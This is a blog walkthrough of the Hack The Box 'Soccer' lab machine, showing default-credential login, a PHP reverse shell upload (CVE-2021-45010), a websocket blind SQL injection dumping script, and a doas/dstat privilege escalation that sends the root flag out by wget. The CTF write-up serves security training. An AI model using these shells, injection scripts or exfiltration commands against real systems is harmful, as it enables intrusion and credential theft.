Hack The Box: Soccer

Posted on Jun 10, 2023

Sumary

Overview

  1. Discover soccer.htb
  2. Brute force directories to find tinyfilemanager
  3. Exploit a file upload vulnerability to get an initial shell as www-data
  4. Internal enumeration to find the soc-player.soccer.htb name
  5. Exploit a SQL Injection vulnerability via websockets to get user and password for the user player
  6. ssh in as player
  7. Enumerate again and find that the user can run dstat as root through the doas program
  8. Get root

Nmap

danp@local:~|⇒ nmap -sV 10.10.11.194
Starting Nmap 7.94 ( https://nmap.org ) at 2023-05-27 22:53 -03
Nmap scan report for 10.10.11.194
Host is up (0.091s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?

-sV: Enumerate versions from the services

Port 80 here will be our focus, since port 9091 just returns 404’s and my initial enumeration on it returned nothing.

Exploiting tiny file manager

Accessing the http port we get redirected to soccer.htb, Let’s update our /etc/hosts file.

danp@local:~|⇒  cat /etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1	localhost
255.255.255.255	broadcasthost
::1             localhost
10.10.11.194    soccer.htb

img2

The website is basically a static page and does not tell us much, my next step was to try to enumerate some hidden directories

danp@local:~|⇒  ~/go/bin/gobuster dir -w ~/Documents/tools/SecLists/Discovery/Web-Content/big.txt -u http://soccer.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /Users/danp/Documents/tools/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/27 23:06:03 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 162]
/.htaccess            (Status: 403) [Size: 162]
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20434 / 20477 (99.79%)
===============================================================
2023/05/27 23:09:17 Finished
===============================================================

img3

According to the official Github page:

TinyFileManager is web based PHP file manager and it is a simple, fast and small size in single-file PHP file that can be dropped into any folder on your server, multi-language ready web application for storing, uploading, editing and managing files and folders online via web browser.

Authenticating with Default Credentials

The first thing I always like to do when I face applications of this kind is to search for default credentials. According to that same github page:

  • admin:admin@123
  • user:12345

Using the admin credentials we can successfully login.

Notice the version diplayed at the bottom right corner

img4

Uploading Malicious PHP File

Searching for vulnerabilities for this particular version, we find CVE-2021-45010. This vulnerability allows authenticated users to upload malicious php code and execute arbitrary commands on the server.

We can find a pretty good repository with an exploit for this vulnerability here: Github exploit page

However, the exploit will not work because the web root is not writable for www-data.

img5

Inside this tiny folder, there is the uploads folder which has the proper permissions for any user to write inside it, 0757.

Check out this article on Linux permissions

img6

We can create a php file that simply pops a shell in our machine

<?php

shell_exec('bash -c "sh -i >& /dev/tcp/10.10.14.14/9001 0>&1"')

?>

Let’s upload it

img7

now, we can run it by going to /tiny/uploads/shell.php

img8

Internal Enumeration as www-data

In order to escalate privileges on the machine, we are going to use Linpeas twice. To escalate www-data -> player and player -> root.

Steps to run as www-data:

  1. Download the tool to our local machine
    1. wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
  2. Start a quick http server
    1. python3 -m http.server 8082
  3. Wget the .sh script from the box
    1. wget http://10.10.14.12:8082/linpeas.sh
  4. Run it

The Network Information part of Linpeas shows us something interesting

══════════════════════════════╣ Network Information ╠══════════════════════════════
                              ╚═════════════════════╝
╔══════════╣ Hostname, hosts and DNS
soccer
127.0.0.1	localhost	soccer	soccer.htb	soc-player.soccer.htb

127.0.1.1	ubuntu-focal	ubuntu-focal


nameserver 127.0.0.53
options edns0 trust-ad

Another name that we can use soc-player.soccer.htb, let’s include it in our local /etc/hosts file and access it

img8

We see a small menu on the top left corner with some endpoints. Since other attacks like injecting payloads on the login form and bruteforcing directories did not return anything useful, I just focused on those. So let’s create an account and login.

We see a /check endpoint that asks for a ticket number to check if it exists

Obtaining Credentials With SQL Injection

img9

Let’s see what’s going on with burp

img10

There is a websocket server that is checking if the ticket is valid or not, let’s try to inject some payloads

img11

With the payload 1 or 1=1 we see the confirmation our tests, we have a boolean based SQL Injection.

Since it is using websockets, we cannot send the request directly into sqlmap by default. Let’s create an script to exploit it our way :-)

(At the end we exploit it with sqlmap in two ways, this is just for practice)

from websocket import create_connection

def send_payload(ws, payload, position, offset):
    # Dump databases
    #payload = f'1 or (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT {offset},1),{position},1))) = {payload}--'
    # Dump soccer_db
    #payload = f'1 or (ascii(substr((SELECT table_name FROM information_schema.TABLES WHERE table_schema=\'soccer_db\' LIMIT {offset},1),{position},1))) = {payload}--'
    # Dump Columns from accounts table
    #payload = f'1 or (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\'accounts\' LIMIT {offset},1),{position},1))) = {payload}--'
    #Dump Data
    payload = f'1 or (ascii(substr((SELECT HOST FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'

    ws.send('{"id": "'+payload+'"}')
    return ws.recv()

def main():
    URL = 'ws://soccer.htb:9091/'
    ws = create_connection(URL)
    print("============ Start Dumping Info ============")
    for r in range(10):
        print("")
        for k in range(1, 20):
            for i in range(33, 127):
                response = send_payload(ws, i, k, r)
                if "Ticket Exists" in response:
                    print(chr(i), end='', flush=True)
                    #print(chr(i))
                    break

if __name__ == '__main__':
    main()%

Before we are able to extract any user’s data, we have to find how they’re being stored inside the database. The script has all the payloads I used to dump the information I needed, let’s run one by one.

The first step is to discover the database name, the payload for that is:

payload = f'1 or (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT {offset},1),{position},1))) = {payload}--'

danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 websocket-sqlinjection.py
============ Start Dumping Info ============
mysql
information_schema
performance_schema
sys
soccer_db

We discover the database soccer_db, now let’s find out its tables:

payload = f'1 or (ascii(substr((SELECT table_name FROM information_schema.TABLES WHERE table_schema=\'soccer_db\' LIMIT {offset},1),{position},1))) = {payload}--'

danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 websocket-sqlinjection.py
============ Start Dumping Info ============
accounts

The accounts table is what we want, We could guess that username and password are the fields we must dump, but let’s dump the column’s names too just to make sure we are not missing anything

payload = f'1 or (ascii(substr((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME=\'accounts\' LIMIT {offset},1),{position},1))) = {payload}--'

danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 websocket-sqlinjection.py
============ Start Dumping Info ============
CURRENT_CONNECTIONS
HOST
MAX_SESSION_CONTROL
MAX_SESSION_TOTAL_M
TOTAL_CONNECTIONS
USER
email
id
password
username

The next payload extracts the users from the accounts table:

payload = f'1 or (ascii(substr((SELECT username FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'

danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 websocket-sqlinjection.py
============ Start Dumping Info ============
player

Now the passwords:

payload = f'1 or (ascii(substr((SELECT password FROM accounts LIMIT {offset},1),{position},1))) = {payload}--'

danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 websocket-sqlinjection.py
============ Start Dumping Info ============
PlayerOftheMatch2022

We find the credentials for player user: player:PlayerOftheMatch2022

danp@local:~/Documents/HackTheBox/Soccer|⇒  ssh player@soccer.htb
player@soccer.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
          ..........
Last login: Mon May 29 19:13:05 2023 from 10.10.14.14
player@soccer:~$ cat user.txt
daba77<redacted>db3e

Privilage Escalation with doas + dstat

Our focus now, is to figure out what the player can do that www-data could not. Let’s run Linpeas again with that in mind.

Paying close attention to the Software Information part, one binary caught my attention

═════════════════════════════╣ Software Information ╠═════════════════════════════
                             ╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/local/bin/doas
/usr/bin/g++
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget

The /usr/local/bin/doas was unknows to me, googling a lit bit about it and like sudo, doas is used to assume the identity of another user on the system. Enumerating its configurations according to this page:

player@soccer:/dev/shm$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:/dev/shm$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

So we can use /usr/bin/dstat as root. gtfobins teaches us how to exploit:

  1. Create a file named dstat_<module>.py
  2. Place it in inside /usr/local/share/dstat/
  3. Run doas -u root /usr/bin/dstat --<module>

I created a module that simply send a http request with the root.txt content to my server and called it dstat_danp.py.

import os

os.system("wget http://10.10.14.14:8082/$(cat /root/root.txt)")

After sending the file to /usr/local/share/dstat/ I was able to run the command doas -u root /usr/bin/dstat --danp and grab the final flag!

player@soccer:/dev/shm$ doas -u root /usr/bin/dstat --danp
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
--2023-05-29 20:22:01--  http://10.10.14.14:8082/39278<redacted>0ac1  ### Root flag here
Connecting to 10.10.14.14:8082... connected.
HTTP request sent, awaiting response... 404 File not found
2023-05-29 20:22:01 ERROR 404: File not found.

Module dstat_danp failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
danp@local:~/Documents/HackTheBox/Soccer|⇒  python3 -m http.server 8082
Serving HTTP on :: port 8082 (http://[::]:8082/) ...
::ffff:10.10.11.194 - - [29/May/2023 17:22:07] code 404, message File not found
::ffff:10.10.11.194 - - [29/May/2023 17:22:07] "GET /3927<redacted>ac1 HTTP/1.1" 404 - ### Root flag here

Extra Mile

Exploiting SQL Injection with SQLMap

It is very common to exploit SQL Injection attacks with SQLMap, it is indeed a very powerful tool but by default does not support websockets by default, you must install python’s websocket-client. We can exploit it in two ways:

  1. Creating a proxy server that forwards the http requests to the websocket server.

The script below starts a local http server that takes the sqlmap payload, forwards it to the websocket service and returns its response

import rich, json
from http.server import BaseHTTPRequestHandler,HTTPServer
import urllib.parse
from websocket import create_connection

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Get rid of the favicon request
        if self.path == '/favicon.ico':
            self.send_response(200)
            self.send_header('Content-Type', 'image/x-icon')
            self.send_header('Content-Length', 0)
            self.end_headers()
            return

        # parse SQLMAP payload
        try:
            payload = urllib.parse.urlparse(self.path)
            payload = payload.query[2:]
            payload = urllib.parse.unquote(payload)
        except:
            pass

        response = self.send_payload(payload)
        self.send_response(200)
        self.end_headers()
        # Write the output on the webpage
        self.wfile.write(str.encode(response))
        return

    # Send the payload to the websocket server
    def send_payload(self, payload):
        ws = create_connection("ws://soccer.htb:9091/")
        data = {"id": f"{payload}"}
        ws.send(json.dumps(data))
        response = ws.recv()
        ws.close()

        rich.print(f"Proxying: {data}")
        return response
    
    def log_message(self, format, *args):
        return
    
if __name__ == '__main__':
    rich.print("\n =========== STARTING PROXY ===========")
    server = HTTPServer(('localhost', 8080), GetHandler)
    rich.print('\nStarting server at http://localhost:8080\n')
    server.serve_forever()

Now, all we have to do is point the sqlmap to http://localhost:8080 and exploit it normally

sqlmap -u "http://localhost:8080/?p=*" --level 5 --risk 3 --technique=B -T accounts --dump

img13

  1. Run directly on SQLMap’s cli: sqlmap -u "ws://soccer.htb:9091" --data '{"id": "1234"}' --dbs also works!

That’s all folks 🐰